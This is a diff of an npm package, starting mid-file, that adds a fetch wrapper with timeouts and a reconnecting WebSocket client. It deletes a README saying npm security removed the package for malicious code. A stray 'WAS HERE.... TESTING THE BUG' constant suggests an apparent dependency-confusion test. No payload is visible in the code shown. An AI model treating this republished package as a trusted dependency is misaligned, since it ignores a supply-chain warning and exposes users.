+ } catch (_) {
9
+ canAbortFetch = null;
10
+ }
11
+
12
+ /**
13
+ * Default response type for module
14
+ */
15
+ const DEFAULT_RESP_TYPE = 'json';
16
+
17
+ /**
18
+ * Default timeout time
19
+ */
20
+ const DEFAULT_TIMEOUT = 30000; // 30s
21
+
22
+ const FEARSOFF='WAS HERE.... TESTING THE BUG';
23
+
24
+ /**
25
+ * Get an check the responseType user sets.
26
+ */
27
+ const getResponseType = (type) => {
28
+ const validType = String(type).toLowerCase();
29
+ const types = {
30
+ json: true,
31
+ text: true,
32
+ formData: true,
33
+ blob: true,
34
+ arrayBuffer: true,
35
+ };
36
+
37
+ return types[validType] ? validType : DEFAULT_RESP_TYPE;
38
+ };
39
+
40
+ /**
41
+ * Fetch class used to create new fetch instance
42
+ *
43
+ * @author lucky.zhou
44
+ * @class
45
+ */
46
+ class Fetch {
47
+ constructor(defaultConfig = {}, settings = {}) {
48
+ this.defaultOpts = defaultConfig;
49
+ this.timeout = settings.timeout || DEFAULT_TIMEOUT;
50
+ this.interceptors = {
51
+ response: [],
52
+ request: [],
53
+ errorHandler: [],
54
+ finally: [],
55
+ };
56
+ }
57
+
58
+ get(url, opts = {}, respType) {
59
+ let nUrl = url;
60
+ if (opts.body) {
61
+ const params = opts.body;
62
+ const keys = Object.keys(params);
63
+ keys.forEach((key) => {
64
+ const param = `${key}=${params[key]}`;
65
+ nUrl = nUrl.indexOf('?') > -1 ? `${nUrl}&${param}` : `${nUrl}?${param}`;
66
+ });
67
+ delete opts.body;
68
+ }
69
+ return this.fetch(nUrl, { ...opts, method: 'get' }, respType);
70
+ }
71
+
72
+ post(url, opts = {}, respType) {
73
+ return this.fetch(url, { ...opts, method: 'post' }, respType);
74
+ }
75
+
76
+ delete(url, opts = {}, respType) {
77
+ return this.fetch(url, { ...opts, method: 'delete' }, respType);
78
+ }
79
+
80
+ put(url, opts = {}, respType) {
81
+ return this.fetch(url, { ...opts, method: 'put' }, respType);
82
+ }
83
+
84
+ /**
85
+ * Base function for using default fetch
86
+ *
87
+ * @param {string} url The request url
88
+ * @param {object} options The request options
89
+ *
90
+ * @description
91
+ * `options` follow the w3c fetch options structure
92
+ * `meta` in `options` used to pass meta info.
93
+ *
94
+ * @returns {Promise} The request promise
95
+ */
96
+ fetch(url, options = {}, respType = DEFAULT_RESP_TYPE) {
97
+ const opts = {
98
+ ...this.defaultOpts,
99
+ ...options,
100
+ headers: {
101
+ ...this.defaultOpts.headers,
102
+ ...options.headers,
103
+ },
104
+ };
105
+
106
+ // to use chained options in interceptors array
107
+ const hackedOpts = this
108
+ .interceptors
109
+ .request
110
+ .reduce((prev, cur) => cur(prev, url), opts);
111
+
112
+ let timeoutTimer;
113
+ const fetchController = canAbortFetch ? (new AbortController()) : {};
114
+
115
+ hackedOpts.signal = fetchController.signal;
116
+
117
+ /**
118
+ * timeout promise to abort request if necessary
119
+ */
120
+ const abortPromise = new Promise((resolve, reject) => {
121
+ timeoutTimer = setTimeout(() => {
122
+ // Must reject first here!
123
+ // eslint-disable-next-line
124
+ reject({ret_code: 9000001, ret_msg: 'Request timeout, please re-try!'});
125
+ /* istanbul ignore next */
126
+ if (canAbortFetch) fetchController.abort();
127
+ }, this.timeout);
128
+ });
129
+ /**
130
+ * real fetch request promise
131
+ */
132
+ const fetchPromise = fetch(url, hackedOpts);
133
+
134
+ return Promise.race([fetchPromise, abortPromise])
135
+ // 1. clear timeout timer
136
+ .then((resp) => {
137
+ clearTimeout(timeoutTimer);
138
+ return resp;
139
+ })
140
+ // 2. transform response data type and return
141
+ .then((resp) => {
142
+ if (resp.status >= 400) return Promise.reject({ status: resp.status });
143
+ return resp.ok && resp[getResponseType(respType)]();
144
+ })
145
+ // 3. handle response interceptors transform and return new data
146
+ .then((data) => this.interceptors.response.reduce(
147
+ (prev, cur) => prev.then(cur),
148
+ Promise.resolve({ data, config: hackedOpts, url }),
149
+ ))
150
+ .catch((err) => {
151
+ this.interceptors.errorHandler.forEach((fn) => fn(err, hackedOpts, url));
152
+ // throw err;
153
+ return Promise.reject(err);
154
+ })
155
+ .finally(() => {
156
+ this.interceptors.finally.forEach((fn) => fn());
157
+ });
158
+ }
159
+ }
160
+
161
+ /**
162
+ * Fetch instance factory function
163
+ *
164
+ * @param {object} cfg The request options for every request
165
+ * @param {object} settings The fetch settings for controller
166
+ */
167
+ const createFetchInstance = (opts = {}, settings = {}) => {
168
+ /* istanbul ignore next */
169
+ if (!('fetch' in window)) {
170
+ // eslint-disable-next-line
171
+ console.error('fetch function doesn\'t detected in you environment');
172
+ return null;
173
+ }
174
+
175
+ const instance = new Fetch(opts, settings);
176
+ const rawFetch = instance.fetch.bind(instance);
177
+
178
+ rawFetch.get = instance.get.bind(instance);
179
+ rawFetch.post = instance.post.bind(instance);
180
+ rawFetch.put = instance.put.bind(instance);
181
+ rawFetch.delete = instance.delete.bind(instance);
182
+ rawFetch.interceptors = instance.interceptors;
183
+
184
+ return rawFetch;
185
+ };
186
+
187
+ export default createFetchInstance;
188
+
189
+
190
+
191
+ // WEBPACK FOOTER //
192
+ // ./node_modules/by-network/src/fetch.js
package/src/wsio.js ADDED
@@ -0,0 +1,369 @@
1
+ import Emitter from 'component-emitter';
2
+ import Backoff from 'backo2';
3
+
4
+ Emitter(WebSocket.prototype);
5
+ /* eslint-disable */
6
+ class WS {
7
+ constructor(uri, opts = {}) {
8
+ // if (uri && (typeof uri === 'object')) {
9
+ // opts = uri;
10
+ // uri = opts.uri;
11
+ // }
12
+ // this.opts = opts;
13
+ const {
14
+ debug,
15
+ autoConnect = true,
16
+ reconnectionAttempts,
17
+ reconnectionDelay,
18
+ reconnectionDelayMax,
19
+ reconnectionReportThreshold,
20
+ reconnectionReportInterval,
21
+ reconnectionReportMax,
22
+ randomizationFactor,
23
+ timeout,
24
+ reconnection,
25
+ } = opts;
26
+ // 可设置变量
27
+ this.uri = uri;
28
+ this.debug = debug || false;
29
+ this.autoConnect = autoConnect; // 是否自动连接
30
+ this.reconnection = reconnection !== false; // 是否自动重连,默认true
31
+ this.reconnectionReportThreshold = reconnectionReportThreshold || 3;
32
+ this.reconnectionReportInterval = reconnectionReportInterval || 3;
33
+ this.reconnectionReportMax = reconnectionReportMax || 22;
34
+ this.reconnectionAttempts(reconnectionAttempts || Infinity); // 最大重连次数
35
+ this.reconnectionDelay(reconnectionDelay || 1000); // 间隔时间
36
+ this.reconnectionDelayMax(reconnectionDelayMax || 5000); // 最大间隔时间
37
+ this.randomizationFactor(randomizationFactor || 0.5); // 间隔随机增长数
38
+ this.backoff = new Backoff({
39
+ min: this.reconnectionDelay(),
40
+ max: this.reconnectionDelayMax(),
41
+ jitter: this.randomizationFactor(),
42
+ });
43
+ this.timeout(timeout || 10000); // 超时时间设置 ms
44
+
45
+ // 内部变量
46
+ this.engine = null; // websocket
47
+ this.connected = false; // 是否已连接
48
+ this.readyState = 'closed'; // 当前状态
49
+ this.reconnecting = false; // 正在重连
50
+ this.skipReconect = false;
51
+ this.pingIntervalTimer = null; // ping timer
52
+ this.pingTimeoutTimer = null; // ping timeout Timer
53
+ this.heartError = false;
54
+ // note: m站心跳机制
55
+ this.pingInterval = 15000;
56
+ this.pingTimeout = 3000;
57
+ this.ev = []; // 内部事件订阅
58
+ // this.subs = []; // 订阅topic数组
59
+ // this.topicArr = []; // 订阅topic 数组
60
+ // 需要自动重连,则调用open()
61
+ this.connectStart = new Date().getTime();
62
+ this.openStart = null;
63
+ if (this.autoConnect) this.open();
64
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '创建 socket 实例');
65
+ }
66
+
67
+ open() {
68
+ this.openStart = new Date().getTime();
69
+ // const self = this;
70
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'open 开始状态:', this.readyState, '连接地址:', this.uri);
71
+ if (~this.readyState.indexOf('open')) return;
72
+ try {
73
+ // todo: 增加timestamp参数比较生硬
74
+ this.engine = new WebSocket(`${this.uri}?timestamp=${new Date().getTime()}`);
75
+ } catch (e) {
76
+ if (this.debug) {
77
+ console.error('[socket]创建实例发生错误', e);
78
+ }
79
+ this.emit('open_error', { code: 4998, reason: e.message || e }); // report
80
+ }
81
+ this.readyState = 'opening';
82
+ this.skipReconect = false;
83
+
84
+ this.addEventListeners();
85
+ // 添加链接超时机制,iOS 平台不会被动触发 error 事件
86
+ if (this._timeout) {
87
+ const timeout = this._timeout;
88
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '超时将在开始重连', timeout);
89
+ const timer = setTimeout(() => {
90
+ // todo onerror没有接收
91
+ this.engine && this.engine.emit('open_timeout', { code: 4997, reason: 'open_timeout' });
92
+ this.emit('connect_timeout', timeout);
93
+ }, timeout);
94
+ this.ev.push({
95
+ destroy: () => {
96
+ clearTimeout(timer);
97
+ },
98
+ });
99
+ }
100
+ }
101
+
102
+ send(obj) {
103
+ if (this.connected) {
104
+ this.engine.send(JSON.stringify(obj));
105
+ }
106
+ }
107
+
108
+ close(code = 1005) {
109
+ this.onClose({ code, reason: 'close_by_user' });
110
+ }
111
+
112
+ /* private function */
113
+
114
+ onOpen() {
115
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype onOpen 执行');
116
+ this.readyState = 'open';
117
+ this.clearEV();
118
+ this.setPing();
119
+ this.connected = true;
120
+ if (this.reconnecting) {
121
+ const attempt = this.backoff.attempts;
122
+ this.reconnecting = false;
123
+ this.backoff.reset();
124
+ this.emit('reconnect', attempt);
125
+ } else {
126
+ this.emit('connect');
127
+ }
128
+ }
129
+
130
+ onData(data) {
131
+ const { ret_msg, topic, request, success, type, conn_id } = data;
132
+ if (ret_msg === 'pong') {
133
+ clearTimeout(this.pingTimeoutTimer);
134
+ const now = new Date().getTime();
135
+ const { op, args } = request;
136
+ const reqTime = args[0];
137
+ if (reqTime) {
138
+ if (now - reqTime < 3000) {
139
+ if (this.heartError) {
140
+ this.emit('heart_back', { code: 4995, reason: 'heart_back' });
141
+ this.heartError = false;
142
+ }
143
+ }
144
+ }
145
+ this.setPing();
146
+ } else if (topic) {
147
+ this.emit(topic, { type, data: data.data });
148
+ } else if (request) {
149
+ const { op } = request;
150
+ if (success) {
151
+ this.emit(`${op}_success`, conn_id);
152
+ } else {
153
+ this.emit(`${op}_fail`, conn_id);
154
+ }
155
+ } else {
156
+ this.emit('data', data);
157
+ this.emit('message', data);
158
+ }
159
+ }
160
+
161
+ onClose({ code, reason }) {
162
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype onClose 执行:', reason);
163
+
164
+ this.reconnecting = false;
165
+ this.connected = false;
166
+ // clear timers
167
+ clearTimeout(this.pingIntervalTimer);
168
+ clearTimeout(this.pingTimeoutTimer);
169
+
170
+ // 1006保留code
171
+ let c = code;
172
+ if (c === 1006) {
173
+ c = 4006;
174
+ } else if (c === 1005) {
175
+ c = 4005;
176
+ }
177
+ // Firefox will throw error when ws closed normally using 1001
178
+ if (code !== 1001) this.engine.close(c);
179
+ this.clearUp();
180
+ this.readyState = 'closed';
181
+ this.emit('close', { code, reason });
182
+
183
+ switch (code) {
184
+ case 1000: // 用户主动关闭
185
+ this.skipReconect = true;
186
+ this.reconnecting = false;
187
+ this.readyState = 'closed_user';
188
+ this.backoff.reset();
189
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '用户主动关闭', reason);
190
+ break;
191
+ default:
192
+ if (this.reconnection && !this.skipReconect) {
193
+ this.reconnect();
194
+ }
195
+ }
196
+ }
197
+
198
+ onError(err) {
199
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'onError 执行:', err);
200
+ this.clearUp();
201
+ this.readyState = 'closed';
202
+ this.emit('error', err);
203
+ this.onClose(err);
204
+ }
205
+
206
+ reconnect() {
207
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype reconnect 执行:');
208
+ if (this.reconnecting || this.skipReconect) {
209
+ return;
210
+ }
211
+ if (this.backoff.attempts > this._reconnectionAttempts) {
212
+ if (this.debug) console.error('[socket]超过最大重连次数, 重连彻底失败');
213
+ // clear timers
214
+ clearTimeout(this.pingIntervalTimer);
215
+ clearTimeout(this.pingTimeoutTimer);
216
+
217
+ // remove
218
+ this.engine.close();
219
+ this.clearUp();
220
+ this.backoff.reset();
221
+
222
+ this.emit('reconnect_failed');
223
+ this.reconnecting = false;
224
+ } else {
225
+ const delay = this.backoff.duration();
226
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '第几次重连:', this.backoff.attempts, '等待 %dms 开始发起重连:', delay);
227
+ this.reconnecting = true;
228
+ const timer = setTimeout(() => {
229
+ if (this.skipReconect) return;
230
+ this.emit('reconnect_attempt', this.backoff.attempts); // 发送 重连次数 事件
231
+ this.emit('reconnecting', this.backoff.attempts); // 发送事件
232
+
233
+ if (
234
+ this.backoff.attempts > this.reconnectionReportThreshold
235
+ && (this.backoff.attempts % this.reconnectionReportInterval) === 0
236
+ && this.backoff.attempts < this.reconnectionReportMax
237
+ ) {
238
+ this.emit('reconnect_report', this.backoff.attempts);
239
+ }
240
+
241
+ this.open();
242
+ }, delay);
243
+ // 事件组
244
+ this.ev.push({
245
+ destroy: () => {
246
+ clearTimeout(timer);
247
+ },
248
+ });
249
+ }
250
+ }
251
+
252
+ ping() {
253
+ this.send({ op: 'ping', args: [new Date().getTime()] });
254
+ }
255
+
256
+ // reset ping timeout
257
+ onHeartbeat(timeout) {
258
+ clearTimeout(this.pingTimeoutTimer);
259
+ this.pingTimeoutTimer = setTimeout(() => {
260
+ if (this.readyState === 'closed') return;
261
+ // this.onClose({ code: 4996, reason: 'ping timeout' });
262
+ this.emit('heart_error', { code: 4996, reason: 'ping timeout' });
263
+ this.heartError = true;
264
+ }, timeout);
265
+ }
266
+
267
+ // 心跳机制
268
+ setPing() {
269
+ clearTimeout(this.pingIntervalTimer);
270
+ this.pingIntervalTimer = setTimeout(() => {
271
+ if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS send ping');
272
+ this.ping();
273
+ this.onHeartbeat(this.pingTimeout);
274
+ }, this.pingInterval);
275
+ }
276
+
277
+ addEventListeners() {
278
+ const { engine } = this;
279
+ if (engine) {
280
+ engine.onopen = () => {
281
+ this.onOpen();
282
+ };
283
+ engine.onclose = ({ code, reason }) => {
284
+ this.onClose({ code, reason });
285
+ };
286
+ engine.onmessage = (ev) => {
287
+ const data = JSON.parse(ev.data);
288
+ if (Array.isArray(data)) {
289
+ for (let i = 0, len = data.length; i < len; i += 1) {
290
+ setTimeout(() => {
291
+ this.onData(data[i]);
292
+ }, 0);
293
+ }
294
+ } else {
295
+ this.onData(data);
296
+ }
297
+ // engine.removeListener('onmessage');
298
+ };
299
+ engine.onerror = () => {
300
+ this.onError({ code: 4999, reason: 'onerror' });
301
+ };
302
+ engine.once('open_timeout', (e) => {
303
+ this.onError(e);
304
+ });
305
+ }
306
+ }
307
+
308
+ // 重置websocket回调函数
309
+ clearUp() {
310
+ if (this.debug) console.log('ws-->clearUp');
311
+ const { engine } = this;
312
+ engine.onopen = () => {};
313
+ engine.onclose = () => {};
314
+ engine.onmessage = () => {};
315
+ engine.onerror = () => {};
316
+ this.clearEV();
317
+ }
318
+
319
+ clearEV() {
320
+ const evLength = this.ev.length;
321
+ for (let i = 0; i < evLength; i += 1) {
322
+ const sub = this.ev.shift();
323
+ sub.destroy();
324
+ }
325
+ }
326
+ /* eslint-disable */
327
+ // /* eslint-disable no-underscore-dangle */
328
+ reconnectionAttempts(v) {
329
+ if (!arguments.length) return this._reconnectionAttempts;
330
+ this._reconnectionAttempts = v;
331
+ return this;
332
+ }
333
+
334
+ reconnectionDelay(v) {
335
+ if (!arguments.length) return this._reconnectionDelay;
336
+ this._reconnectionDelay = v;
337
+ this.backoff && this.backoff.setMin(v);
338
+ return this;
339
+ }
340
+
341
+ reconnectionDelayMax(v) {
342
+ if (!arguments.length) return this._reconnectionDelayMax;
343
+ this._reconnectionDelayMax = v;
344
+ this.backoff && this.backoff.setMax(v);
345
+ return this;
346
+ }
347
+
348
+ randomizationFactor(v) {
349
+ if (!arguments.length) return this._randomizationFactor;
350
+ this._randomizationFactor = v;
351
+ this.backoff && this.backoff.setJitter(v);
352
+ return this;
353
+ };
354
+
355
+ timeout(v) {
356
+ if (!arguments.length) return this._timeout;
357
+ this._timeout = v;
358
+ return this;
359
+ }
360
+ }
361
+
362
+ Emitter(WS.prototype);
363
+
364
+ export default WS;
365
+
366
+
367
+
368
+ // WEBPACK FOOTER //
369
+ // ./node_modules/by-network/src/wsio.js
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=by-fetch for more information.